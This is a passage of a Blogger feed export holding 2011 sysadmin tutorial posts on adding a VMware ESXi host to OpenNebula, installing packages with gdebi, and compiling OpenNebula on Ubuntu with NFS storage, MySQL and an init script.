/&gt;oneadmin@frontend01:~$ onehost list&lt;br /&gt;ID NAME              CLUSTER  RVM   TCPU   FCPU   ACPU    TMEM    FMEM STAT&lt;br /&gt;0  esxi01            default    0    100    100    100      2G    1.6G   on&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-7086562172475881157?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/7086562172475881157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-esxi-hypervisor-to_09.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7086562172475881157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7086562172475881157'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-esxi-hypervisor-to_09.html' title='Adding a VMware ESXi hypervisor to OpenNebula (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-707021280355628892</id><published>2011-07-02T14:56:00.040+02:00</published><updated>2011-11-01T21:34:59.428+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Adding a VMware ESXi hypervisor to OpenNebula (I)</title><content type='html'>This is the first article about how to add a VMware vSphere hypervisor to &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/cloud-computing-with-opennebula.html"&gt;OpenNebula&lt;/a&gt;. In the two previous entries (&lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/opennebula-installation-on-ubuntu-i.html"&gt;I&lt;/a&gt; and &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/opennebula-installation-on-ubuntu-ii.html"&gt;II&lt;/a&gt;), I carried out the installation of OpenNebula on Ubuntu.&lt;br /&gt;&lt;br /&gt;First of all, it is very important to underline that OpenNebula can only work with VMware vSphere hypervisor if it has got an evaluation license (60 days) or a standard, advanced, enterprise or enterprise plus license. If you opt for a free license, this mode lacks many remote commands and just supports the read-only API.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-O9eopN2erhE/Tg8jH2xBwAI/AAAAAAAAAlQ/CNOubhDb8YM/s1600/VMware%2BvSphere%2Bevaluation%2Bmode.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5624753077476245506" src="http://2.bp.blogspot.com/-O9eopN2erhE/Tg8jH2xBwAI/AAAAAAAAAlQ/CNOubhDb8YM/s400/VMware%2BvSphere%2Bevaluation%2Bmode.jpg" style="cursor: hand; cursor: pointer; display: block; height: 231px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For instance, if you try to remotely define a virtual machine, you will get an error as the follows.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ virsh -c esx://esxi01/?no_verify=1&lt;br /&gt;Enter username for esxi01 [root]: oneadmin&lt;br /&gt;Enter oneadmin's password for esxi01:&lt;br /&gt;Welcome to virsh, the virtualization interactive terminal.&lt;br /&gt;&lt;br /&gt;Type:  'help' for help with commands&lt;br /&gt;     'quit' to quit&lt;br /&gt;&lt;br /&gt;virsh #  define /srv/cloud/one/var/0/deployment.0&lt;br /&gt;error: Failed to define domain from /srv/cloud/one/var/0/deployment.0&lt;br /&gt;error: internal error HTTP response code 500 for call to 'RegisterVM_Task'. Fault: ServerFaultCode - fault.RestrictedVersion.summary&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;After this explanation, let's get started by configuring the ntp daemon so that this hypervisor will be synchronized with the rest of nodes which make up the cloud computing infraestructure. Remember that the VMware vSphere ESXi version which I am going to use for my tests is the 4.1.&lt;br /&gt;&lt;br /&gt;So as to set up a NTP server (in my case, a public NTP server such as &lt;i&gt;pool.ntp.org&lt;/i&gt;), we must go to &lt;i&gt;Configuration&lt;/i&gt;, &lt;i&gt;Time Configuration&lt;/i&gt; and press the &lt;i&gt;Properties&lt;/i&gt; link.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-W57VPEe6_3o/Tg8mRTH6efI/AAAAAAAAAlY/nA6MpoWEQGw/s1600/Setting%2Bup%2Ba%2BNTP%2Bserver%2Bon%2BVMware%2BvSphere.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5624756538242136562" src="http://1.bp.blogspot.com/-W57VPEe6_3o/Tg8mRTH6efI/AAAAAAAAAlY/nA6MpoWEQGw/s400/Setting%2Bup%2Ba%2BNTP%2Bserver%2Bon%2BVMware%2BvSphere.jpg" style="cursor: hand; cursor: pointer; display: block; height: 253px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Next step is to aggregate a new group named &lt;i&gt;cloud&lt;/i&gt;, with ID 1001, by clicking with the right button of the mouse on &lt;i&gt;Local Users &amp;amp; Groups&lt;/i&gt;, &lt;i&gt;Groups&lt;/i&gt; tab and pressing the &lt;i&gt;Add&lt;/i&gt; command.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-m1t4tdFHJXU/Tg8oubmTX-I/AAAAAAAAAlg/IeLaz-J91Zg/s1600/Adding%2Ba%2Bgroup%2Bto%2BVMware%2BvSphere.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5624759237756542946" src="http://2.bp.blogspot.com/-m1t4tdFHJXU/Tg8oubmTX-I/AAAAAAAAAlg/IeLaz-J91Zg/s400/Adding%2Ba%2Bgroup%2Bto%2BVMware%2BvSphere.jpg" style="cursor: hand; cursor: pointer; display: block; height: 395px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then you have to create a new user named &lt;i&gt;oneadmin&lt;/i&gt;, by making the same operation, but this time on the &lt;i&gt;Users&lt;/i&gt; tab section. This user have to belong to the &lt;span style="font-style: italic;"&gt;cloud&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt; group and also have the 1001 ID.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-sQCORptWn5U/Tg8sQ7Tp8gI/AAAAAAAAAlo/w9cg1y902a8/s1600/Adding%2Ba%2Buser%2Bto%2BVMware%2BvSphere.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5624763128918700546" src="http://2.bp.blogspot.com/-sQCORptWn5U/Tg8sQ7Tp8gI/AAAAAAAAAlo/w9cg1y902a8/s400/Adding%2Ba%2Buser%2Bto%2BVMware%2BvSphere.jpg" style="cursor: hand; cursor: pointer; display: block; height: 400px; margin: 0px auto 10px; text-align: center; width: 316px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In addition, this new user must have full privilegies on the node. Therefore, we have to click with the right button of the mouse over our hypervisor, choose the &lt;i&gt;Add Permission&lt;/i&gt; option and select the fields that you may see in the following figure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-ARzGPkTIJRQ/Tg8uxf0oavI/AAAAAAAAAlw/POSYkh3-koI/s1600/Adding%2Bpermissions%2Bin%2BVMware%2BvSphere.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5624765887499758322" src="http://3.bp.blogspot.com/-ARzGPkTIJRQ/Tg8uxf0oavI/AAAAAAAAAlw/POSYkh3-koI/s400/Adding%2Bpermissions%2Bin%2BVMware%2BvSphere.jpg" style="cursor: hand; cursor: pointer; display: block; height: 318px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And finally, we have to mount the shared storage exported by the &lt;i&gt;storage01&lt;/i&gt; machine. In order to realize this task, you must go to &lt;i&gt;Configuration&lt;/i&gt;, &lt;i&gt;Storage&lt;/i&gt; and press on the &lt;i&gt;Add Storage&lt;/i&gt; link. In this way, a wizard will be popped up which will allow us to mount the remote storage.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-JZOFBdbwdm4/Tg8ylSRkeLI/AAAAAAAAAl4/pG_DwhFg3GE/s1600/Adding%2Ba%2Bstorage%2Bin%2BVMware%2BvSphere.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5624770075751119026" src="http://3.bp.blogspot.com/-JZOFBdbwdm4/Tg8ylSRkeLI/AAAAAAAAAl4/pG_DwhFg3GE/s400/Adding%2Ba%2Bstorage%2Bin%2BVMware%2BvSphere.jpg" style="cursor: hand; cursor: pointer; display: block; height: 310px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the first screen, you must pick out the &lt;i&gt;Network File System&lt;/i&gt; storage type and then, fulfill the fields showed in the preceding image. Note that we are just importing the &lt;i&gt;/srv/cloud/one/var&lt;/i&gt; directory, because in this folder will be stored the virtual machines. Also say that I have called the datastore &lt;i&gt;images&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-707021280355628892?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/707021280355628892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-vsphere-hypervisor-to.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/707021280355628892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/707021280355628892'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/07/adding-vmware-vsphere-hypervisor-to.html' title='Adding a VMware ESXi hypervisor to OpenNebula (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-O9eopN2erhE/Tg8jH2xBwAI/AAAAAAAAAlQ/CNOubhDb8YM/s72-c/VMware%2BvSphere%2Bevaluation%2Bmode.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-4772724758235888454</id><published>2011-06-28T17:07:00.007+02:00</published><updated>2011-11-01T21:35:46.409+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Resolving and installing dependences with gdebi</title><content type='html'>It may seem incredible but after many years using Linux, I have found out a great application in order to install deb packages, and automatically, their dependences: gdebi.&lt;br /&gt;&lt;br /&gt;I have always had to install something, by general I have made it either from the corresponding repository or from the source code (by manually working out the dependences in this last case).&lt;br /&gt;&lt;br /&gt;But what happens if we want to install directly a deb package? Typically we are going to employ the dpkg command.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo dpkg -i package.deb&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If the package to be installed needs some dependence, the dpkg output shows it and we have to manually set it up. But so as to work around this task, gdebi can carry out all these necessary actions: to resolve the dependences and install the final package.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo gdebi package.deb&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, also say that this tool is available for Debian systems and their derivatives (Ubuntu, Kubuntu, Knoppix, etc.).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-4772724758235888454?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/4772724758235888454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/resolving-and-installing-dependences.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4772724758235888454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4772724758235888454'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/resolving-and-installing-dependences.html' title='Resolving and installing dependences with gdebi'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-4083973944401666259</id><published>2011-06-19T13:34:00.010+02:00</published><updated>2011-11-01T21:36:13.823+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><title type='text'>OpenNebula installation on Ubuntu (II)</title><content type='html'>Once we have made up the shared storage, the database and the requeried users, we are going to carry on the article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/opennebula-installation-on-ubuntu-i.html"&gt;OpenNebula installation on Ubuntu&lt;/a&gt; by installing the dependences of OpenNebula.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# aptitude install build-essential ruby libxmlrpc-c3-dev scons libopenssl-ruby libssl-dev flex bison ruby-dev rake rubygems libxml-parser-ruby libxslt1-dev libnokogiri-ruby libsqlite3-dev&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we are ready to download the source code of OpenNebula, compile it (with the MySQL option activated) and install it into the &lt;i&gt;/srv/cloud/one&lt;/i&gt; directory.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# su - oneadmin ; cd /tmp&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp$ wget http://dev.opennebula.org/attachments/download/395/opennebula-2.2.1.tar.gz&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp$ tar xvzf opennebula-2.2.1.tar.gz ; cd opennebula-2.2.1&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp/opennebula-2.2.1$ cat src/vmm/LibVirtDriverVMware.cc&lt;br /&gt;...&lt;br /&gt;        if ( emulator != "vmware" )&lt;br /&gt;        {&lt;br /&gt;                file &amp;lt;&amp;lt; "\t\t\t&amp;lt;driver name='";&lt;br /&gt;&lt;br /&gt;                if ( !driver.empty() )&lt;br /&gt;                {&lt;br /&gt;                        file &amp;lt;&amp;lt; driver &amp;lt;&amp;lt; "'/&amp;gt;" &amp;lt;&amp;lt; endl;&lt;br /&gt;                }&lt;br /&gt;                else&lt;br /&gt;                {&lt;br /&gt;                        file &amp;lt;&amp;lt; default_driver &amp;lt;&amp;lt; "'/&amp;gt;" &amp;lt;&amp;lt; endl;&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp/opennebula-2.2.1$ scons mysql=yes parsers=yes&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:/tmp/opennebula-2.2.1$ ./install.sh -d /srv/cloud/one&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Before compiling OpenNebula, it is necessary to fix a severe mistake into a file from the source code (&lt;span style="font-style: italic;"&gt;LibVirtDriverVMware.cc&lt;/span&gt;). This bug does not allow to deploy virtual machines on VMware ESXi, since when OpenNebula makes the deployment templates includes the raw format as the default DRIVER.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~/templates$ virsh -c esx://esxi01/?no_verify=1&lt;br /&gt;Enter username for esxi01 [root]: oneadmin&lt;br /&gt;Enter oneadmin's password for esxi01:&lt;br /&gt;Welcome to virsh, the virtualization interactive terminal.&lt;br /&gt;&lt;br /&gt;Type:  'help' for help with commands&lt;br /&gt;       'quit' to quit&lt;br /&gt;&lt;br /&gt;virsh # define /srv/cloud/one/var/0/deployment.0&lt;br /&gt;error: Failed to define domain from /srv/cloud/one/var/0/deployment.0&lt;br /&gt;error: internal error Unknown driver name 'raw'&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The last step before starting OpenNebula, is to set up (within the &lt;i&gt;oned.conf&lt;/i&gt; file) the MySQL connection parameters (remember that in this case, you have to comment the line related to SQLite).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:/tmp/opennebula-2.2.1$ cat /srv/cloud/one/etc/oned.conf&lt;br /&gt;...&lt;br /&gt;# DB = [ backend = "sqlite" ]&lt;br /&gt;&lt;br /&gt;DB = [ backend = "mysql",&lt;br /&gt;   server  = "localhost",&lt;br /&gt;   port    = 0,&lt;br /&gt;   user    = "oneadmin",&lt;br /&gt;   passwd  = "xxxxxx",&lt;br /&gt;   db_name = "opennebula" ]&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By means of the &lt;i&gt;one&lt;/i&gt; script (situated in &lt;i&gt;$ONE_LOCATION/bin&lt;/i&gt;), we can run and stop the OpenNebula daemon (&lt;i&gt;oned&lt;/i&gt;) and the scheduler (&lt;i&gt;mm_sched&lt;/i&gt;). Also say that the log files are located in &lt;i&gt;$ONE_LOCATION/var&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;oneadmin@frontend01:~$ one start&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ one stop&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, mention too that if we want that the operating system to start automatically OpenNebula during the boot, we must create a LSB init script for this purpose.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# cat /etc/init.d/opennebula&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;### BEGIN INIT INFO&lt;br /&gt;# Provides:          OpenNebula&lt;br /&gt;# Required-Start:    $remote_fs $syslog $network&lt;br /&gt;# Required-Stop:     $remote_fs $syslog $network&lt;br /&gt;# Default-Start:     2 3 4 5&lt;br /&gt;# Default-Stop:      0 1 6&lt;br /&gt;# Short-Description: Start daemon at boot time&lt;br /&gt;# Description:       Enable service provided by daemon.&lt;br /&gt;### END INIT INFO&lt;br /&gt;&lt;br /&gt;export ONE_LOCATION=/srv/cloud/one&lt;br /&gt;export ONE_AUTH=$ONE_LOCATION/.one/one_auth&lt;br /&gt;export ONE_XMLRPC=http://localhost:2633/RPC2&lt;br /&gt;export PATH=$ONE_LOCATION/bin:$PATH&lt;br /&gt;&lt;br /&gt;RETVAL=0&lt;br /&gt;&lt;br /&gt;start()&lt;br /&gt;{&lt;br /&gt;     su oneadmin -s /bin/bash -c '$ONE_LOCATION/bin/one start' ; RETVAL=$?&lt;br /&gt;     return $RETVAL&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;stop()&lt;br /&gt;{&lt;br /&gt;     su oneadmin -s /bin/bash -c '$ONE_LOCATION/bin/one stop' ; RETVAL=$?&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;case "$1" in&lt;br /&gt;     start)&lt;br /&gt;             sleep 5&lt;br /&gt;             start&lt;br /&gt;             ;;&lt;br /&gt;     stop)&lt;br /&gt;             stop&lt;br /&gt;             ;;&lt;br /&gt;     restart)&lt;br /&gt;             stop&lt;br /&gt;             start&lt;br /&gt;             ;;&lt;br /&gt;     *)&lt;br /&gt;             echo $"Usage: service opennebula {start stop restart}"&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;exit $RETVAL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@frontend01:~# chmod +x /etc/init.d/opennebula&lt;br /&gt;&lt;br /&gt;root@frontend01:~# update-rc.d opennebula start 90 2 3 4 5 . stop 10 0 1 6 .&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-4083973944401666259?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/4083973944401666259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/opennebula-installation-on-ubuntu-ii.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4083973944401666259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/4083973944401666259'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/06/opennebula-installation-on-ubuntu-ii.html' title='OpenNebula installation on Ubuntu (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-6247830037415228286</id><published>2011-06-14T13:21:00.036+02:00</published><updated>2011-11-01T21:36:40.847+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cloud computing'/><title type='text'>OpenNebula installation on Ubuntu (I)</title><content type='html'>After presenting the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/06/cloud-computing-with-opennebula.html"&gt;OpenNebula cloud computing&lt;/a&gt; architecture, let's start indicating the versions which will be used.&lt;br /&gt;&lt;br /&gt;All Linux machines (&lt;span style="font-style: italic;"&gt;frontend01&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;storage01&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;kvm01&lt;/span&gt;) have an Ubuntu Server 11.04 (64 bits) installed on them, and &lt;span style="font-style: italic;"&gt;esxi01&lt;/span&gt;, a VMware ESXi 4.1 hypervisor. The OpenNebula version employed for the tests is 2.2.1 and it will be compiled and installed directly from its source code.&lt;br /&gt;&lt;br /&gt;First of all, we are going to set up the shared storage on &lt;span style="font-style: italic;"&gt;storage01&lt;/span&gt;, by means of NFS protocol. We need too an OpenNebula administrator user (&lt;span style="font-style: italic;"&gt;oneadmin&lt;/span&gt;) which must be added on all machines (for this purpose, its UID and GID have to be the same for all them - 1001 in my case). The group of this user will be &lt;span style="font-style: italic;"&gt;cloud&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@storage01:~# mkdir -p /srv/cloud/one&lt;br /&gt;&lt;br /&gt;root@storage01:~# groupadd --gid 1001 cloud&lt;br /&gt;root@storage01:~# useradd --uid 1001 -g cloud -s /bin/bash -d /srv/cloud/one oneadmin&lt;br /&gt;root@storage01:~# chown -R oneadmin:cloud /srv/cloud&lt;br /&gt;&lt;br /&gt;root@storage01:~# aptitude install nfs-kernel-server&lt;br /&gt;&lt;br /&gt;root@storage01:~# cat /etc/exports&lt;br /&gt;/srv/cloud      192.168.1.0/255.255.255.0(rw,anonuid=1001,anongid=1001)&lt;br /&gt;&lt;br /&gt;root@storage01:~# /etc/init.d/nfs-kernel-server restart&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now I may export the &lt;span style="font-style: italic;"&gt;cloud&lt;/span&gt; directory to any machine belonging to the subnet (192.168.1.0/24).&lt;br /&gt;&lt;br /&gt;Afterwards we must mount that shared on &lt;span style="font-style: italic;"&gt;frontend01&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# aptitude install nfs-common ; modprobe nfs&lt;br /&gt;&lt;br /&gt;root@frontend01:~# mkdir -p /srv/cloud&lt;br /&gt;&lt;br /&gt;root@frontend01:~# cat /etc/fstab&lt;br /&gt;...&lt;br /&gt;storage01:/srv/cloud /srv/cloud      nfs4    _netdev,auto    0       0&lt;br /&gt;&lt;br /&gt;root@frontend01:~# mount -a&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step is to create an OpenNebula administrator user on the system.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# groupadd cloud&lt;br /&gt;&lt;br /&gt;root@frontend01:~# useradd -s /bin/bash -d /srv/cloud/one -g cloud oneadmin&lt;br /&gt;&lt;br /&gt;root@frontend01:~# id oneadmin&lt;br /&gt;uid=1001(oneadmin) gid=&lt;span style="font-weight: bold;"&gt;1001&lt;/span&gt;(cloud) groups=&lt;span style="font-weight: bold;"&gt;1001&lt;/span&gt;(cloud)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Any OpenNebula account that we add to the system, must have the following environment variables established.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@frontend01:~# su - oneadmin&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ cat .bashrc&lt;br /&gt;# ~/.bashrc&lt;br /&gt;&lt;br /&gt;if [ -f /etc/bash.bashrc ]; then&lt;br /&gt;  . /etc/bash.bashrc&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;export ONE_AUTH=$HOME/.one/one_auth&lt;br /&gt;export ONE_LOCATION=/srv/cloud/one&lt;br /&gt;export ONE_XMLRPC=http://localhost:2633/RPC2&lt;br /&gt;export PATH=$ONE_LOCATION/bin:$PATH&lt;br /&gt;&lt;br /&gt;oneadmin@frontend01:~$ cat .profile&lt;br /&gt;# ~/.profile&lt;br /&gt;&lt;br /&gt;if [ -n "$BASH_VERSION" ]; then&lt;br /&gt;  if [ -f "$HOME/.bashrc" ]; then&lt;br /&gt;          . "$HOME/.bashrc"&lt;br /&gt;  fi&lt;br /&gt;fi&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;OpenNebula is started by using the &lt;span style="font-style: italic;"&gt;ONE_AUTH&lt;/span&gt; information.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 